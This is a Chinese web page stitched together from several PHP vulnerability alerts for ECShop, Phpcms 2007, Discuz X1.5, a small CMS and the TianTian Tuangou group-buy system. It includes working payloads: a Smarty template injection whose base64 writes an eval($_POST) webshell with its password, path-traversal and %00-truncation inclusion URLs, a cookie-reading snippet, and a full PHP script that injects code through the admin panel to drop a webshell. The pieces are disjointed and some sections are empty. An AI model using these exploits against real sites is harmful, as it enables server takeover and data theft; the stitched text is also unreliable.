下面小编给大家整理的ECSHOP跨站+后台文件包含=Getshell漏洞预警(共含7篇),希望大家喜欢!同时,但愿您也能像本文投稿人“bʌɡ”一样,积极向本站投稿分享好文章。
简要描述:
看到重点应用中有Ecshop就来了..
详细说明:
0x1 会员中心添加缺货登记处linkman参数在后台查看详细时未做编码,导致跨站..
0x2 ecshop 后台integrate.php文件 从第80行起基本都是文件包含..
可以访问
localhost:8082/ECShop_V2.7.3/admin/integrate.php?act=install&code=../../../../ECShop_V2.7.3/data/feedbackimg/6_0506toqbvy.txt%00
来包含我们的文件,但是需要后台权限,截断就靠自己的人品了..
0x3 我们结合一二在留言处上传一个文本文件,通过跨站让管理员来访问包含的文件就可以getshell 啦..
漏洞证明:
修复方案:
修复后台的跨站以及文件包含..
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
1if ($_REQUEST['act'] == 'update_library')
2
3{
4check_authz_json('library_manage');
5
6$html = stripslashes(json_str_iconv($_POST['html']));
7
8$lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
9
10$lib_file = str_replace(“0xa”, '', $lib_file); // 过滤 0xa 非法字符
11
12$org_html = str_replace(“\xEF\xBB\xBF”, '',file_get_contents($lib_file));
13
14if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
15{
16@file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
17make_json_result('', $_LANG['update_lib_success']);
18}
19else
20{
21make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
22}
23}
那么找个比较方便调用了模板的文件
index.php
1if ($act == 'cat_rec')
2
3{
4
5$rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
6
7$rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
8
9$cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
10
11include_once('includes/cls_json.php');
12
13$json = new JSON;
14
15$result = array('error' =>0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
16
17$children = get_children($cat_id);
18
19$smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
20
21$smarty->assign('cat_rec_sign', 1);
22
23$result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
24
25echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
26
27echo $rec_array[$rec_type];
28
29die($json->encode($result));
30
31}
那么就有利用方法了
post包到localhost/ec/admin/template.php?act=update_library
Post内容:
1lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
然后访问localhost/ec/index.php?act=cat_rec
shel地址:localhost/ec/demo.php
密码c
//-------------------------------------------------------------
发布日期:-11.26
发布作者:xhming
影响版本:ecshop v2.72
官方地址:www.ecshop.cn/
漏洞类型:代码执行
漏洞描述:
漏洞分析:demo/index.php
{ if (!empty($_POST['lang']))
{ $lang_charset = explode('_', $_POST['lang']);
$updater_lang = $lang_charset[0].'_'.$lang_charset[1];
$ec_charset = $lang_charset[2]; }
........................................
$updater_lang_package_path = ROOT_PATH . 'demo/languages/' . $updater_lang . '_' . $ec_charset .'.php';
if (file_exists($updater_lang_package_path))
{ include_once($updater_lang_package_path);
$smarty->assign('lang', $_LANG); }
else
{ die('Can\'t find language package!'); } /* 初始化流程控制变量 */
$step = isset($_REQUEST['step']) ? $_REQUEST['step'] : 'sel_lang';
$smarty->assign('ec_charset', $ec_charset);
$smarty->assign('updater_lang', $updater_lang);
switch($step)
{ case 'readme' : write_charset_config($updater_lang, $ec_charset);
.......................................
function write_charset_config($lang, $charset)
{ $config_file = ROOT_PATH . 'data/config.php';
$s = file_get_contents($config_file);
$s = insertconfig($s, “/\?\>/”,“”);
$s = insertconfig($s, “/define\('EC_LANGUAGE',\s*'.*?'\);/i”, “define('EC_LANGUAGE', '” . $lang . “');”);
$s = insertconfig($s, “/define\('EC_CHARSET',\s*'.*?'\);/i”, “define('EC_CHARSET', '” . $charset . “');”);
$s = insertconfig($s, “/\?\>/”,“?>”);
return file_put_contents($config_file, $s);
利用条件:要有 demo/index.php
EXP:
ecshop v2.72 前台写shell漏洞 by:xhm1n9
ecshop v2.72 前台写shell漏洞
利用方试:提交两次,第二次内容任意
[zz]Phpcms 2007 远程文件包含漏洞
url:www.wolvez.org/forum/redirect.php?tid=182&goto=lastpost
这个漏洞是一个比较普通的变量覆盖漏洞,这里转一下是由于发现这个漏洞如果是白盒那要都仔细看代码才行 :)
引用 :
------------------------------------------------
//从头开始看
$rootdir = str_replace(“\\”, '/', dirname(__FILE__));
require $rootdir.'/include/common.inc.php';//通过extract可以覆盖$rootdir为任意值
require PHPCMS_ROOT.'/languages/'.$CONFIG['adminlanguage'].'/yp_admin.lang.php';
if(!$_username) showmessage($LANG['please_login'],$PHPCMS['siteurl'].'member/login.php?forward='.$PHP_URL);
require $rootdir.'/web/admin/include/common.inc.php ';//触发远程文件包含
------------------------------------------------
注意看里面的2个require,第一个那引进的extract的代码,第2个require才导致漏洞的函数,
Phpcms 2007 远程文件包含漏洞漏洞预警
,
伪代码:
$rootdir = str_replace(“\\”, '/', dirname(__FILE__));
//下面就是require $rootdir.'/include/common.inc.php';引入的代码
@extract($_POST, EXTR_OVERWRITE);
@extract($_GET, EXTR_OVERWRITE);
unset($_POST, $_GET);
require $rootdir.'/web/admin/include/common.inc.php
?>
不知道看到这里,看官们有什么感想?如果这里用grep等软件去找静态的上跟踪这个的话障很再可能就会漏调着可能分析得到的结果是:
$rootdir = str_replace(“\\”, '/', dirname(__FILE__));
require $rootdir.'/include/common.inc.php'
require $rootdir.'/web/admin/include/common.inc.php
一看$rootdir被过滤了,就会认为这里安全了?
所以一味的grep等静态去找,是找不到这样的bug的上...
来个“马后炮”,对于这样的上用灰盒测试可能效果很好:就是先看代码看common.inc.php这个躯干里发现用变量覆盖,然后黑盒去找跑那些变量可以覆盖.....
DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存,
config_global.php
$_config['cache']['type'] = 'file';
function cachedata($cachenames) {
......
$isfilecache = getglobal('config/cache/type') == 'file';
......
if($isfilecache) {
$lostcaches = array;
foreach($cachenames as $cachename) {
if(!@include_once(DISCUZ_ROOT.'./data/cache/cache_'.$cachename.'.php')) {
$lostcaches[] = $cachename;
}
}
......
}
地址:
localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
Authracation has expiried
执行了 api/uc.php 页面代码了,
作者: Jannock
这是这套CMS ,这个很简洁,。。
这里的$handle_controller = syClass($__controller, null, $GLOBALS['G_DY'][“controller_path”].'/'.$__controller.“.php”);
接下来往下看
这里的$sdir 没有经过任何过滤来的,然后看下这个import函数
这里直接包含了该文件
require($sfilename);所以结合前面的
$GLOBALS['G_DY'][“controller_path”].'/'.$__controller.“.php”
$__controller是我们可控的变量,也没有经过任何过滤,我们想可以通过%00截断,然后包含我们上传的文件就达到了目的
这也就是鸡肋的地方了,如果要截断,要保证php版本小于5.4(我自己也记不太清了) 因为高版本的修复了该截断的漏洞,
然后这里要保证魔术常量是关闭的。
下图就是成功包含的图
Exp:
localhost/test/index.php?c=../uploads//06/1.gif%00&a=type&tid=1
by k4shifz[w.s.t]
bbs.wolvez.org
上次说到天天团购的后台拿shell,
后台注射,向数据库插入代码。exp需要填写四个参数 $host、$path、$formhash、$cookie。提交后,前台登录执行代码。
/*
TianTian Tuangou getshell codz by k4shifz
Team: bbs.worlvez.org
*/
$host='localhost';
$path='tttuangou';
/*
view : /admin.php?mod=role_action&code=modify&id=50
get cookie : javascript.:document.write(document.cookie);
*/
$formhash='596da77e66139589';
$cookie='admin cookies';
/* injection */
$data=rawurlencode('eval(base64_decode(“ZnB1dHMoZm9wZW4oJzEucGhwJywndysnKSwnPD9waHAgQGV2YWwoJF9QT1NUW2tdKTs/PicpOw==”));');
$cmd='FORMHASH='.$formhash.'&id=50&is_admin=0&php_code='.$data.'&name=%B5%C7%C2%BD%CF%B5%CD%B3&allow_all=1&role_ids%5B%5D=1&role_ids%5B%5D=3&role_ids%5B%5D=4&role_ids%5B%5D=5&role_ids%5B%5D=6&role_ids%5B%5D=2&role_ids%5B%5D=7&module=login&action=dologin%7C&log=0&message=&describe=&update_value%5Bcredits%5D=0&require_value%5Bcredits%5D=0&detailsubmit=%CC%E1+%BD%BB';
$fs=fsockopen($host,'80');
fputs($fs,'POST /'.$path.'/admin.php?mod=role_action&code=domodify HTTP/1.0
Referer:'.$host.'/'.$path.'/admin.php?mod=role_action&code=modify&id=50
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: '.$host.'
Content-Length: '.strlen($cmd).'
Cookie: '.$cookie.'
'.$cmd);
fclose($fs);
file_get_contents(“{$host}/{$path}/index.php?mod=login”);
exit(“ok\n{$host}/{$path}/1.php k\n”);
?>前台的问题还是挺多的,黑盒估计都能测出来,
★ SKCMS存在任意文件上传漏洞可直接getshell漏洞预警
★ dhtmlmenubuilder密码及XSS跨站漏洞漏洞预警
★ dedecms 5.7 edit.inc.php文件注射漏洞预警
★ shopxp pinglun.asp文件SQL注入漏洞分析漏洞预警